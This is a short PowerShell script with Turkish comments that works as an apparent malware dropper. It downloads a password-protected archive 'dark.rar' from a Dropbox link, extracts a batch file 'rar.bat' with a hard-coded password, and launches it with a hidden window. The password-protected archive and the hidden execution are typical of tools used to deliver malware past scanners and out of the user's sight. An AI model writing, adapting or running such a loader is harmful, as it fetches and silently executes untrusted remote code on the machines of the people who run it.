# URL, şifre ve dosya isimleri $url = "https://www.dropbox.com/scl/fi/ootbt5boxts01318qiw2a/dark.rar?rlkey=kc5atomf2pfkzhvghleoluffp&st=ectv3w56&dl=1" $filename = "dark.rar" $password = "123" $output_file = "rar.bat" $winrarPath = "C:\Program Files\WinRAR\WinRAR.exe" $maxTries = 3 $tryCount = 0 # Dosyayı indir while ($tryCount -lt $maxTries -and !(Test-Path $filename)) { Invoke-WebRequest -Uri $url -OutFile $filename Start-Sleep -Seconds 1 $tryCount++ } # İndirilen dosyanın ve WinRAR'ın var olup olmadığını kontrol et if (Test-Path $filename -and Test-Path $winrarPath) { $tryCount = 0 # RAR dosyasını çıkar ve şifreyi kullanarak rar.bat dosyasını aç while ($tryCount -lt $maxTries -and !(Test-Path $output_file)) { & $winrarPath x -p$password $filename > $null 2>&1 Start-Sleep -Seconds 1 $tryCount++ } # Çıkartılan rar.bat dosyasını çalıştır if (Test-Path $output_file) { Start-Process -FilePath $output_file -WindowStyle Hidden } }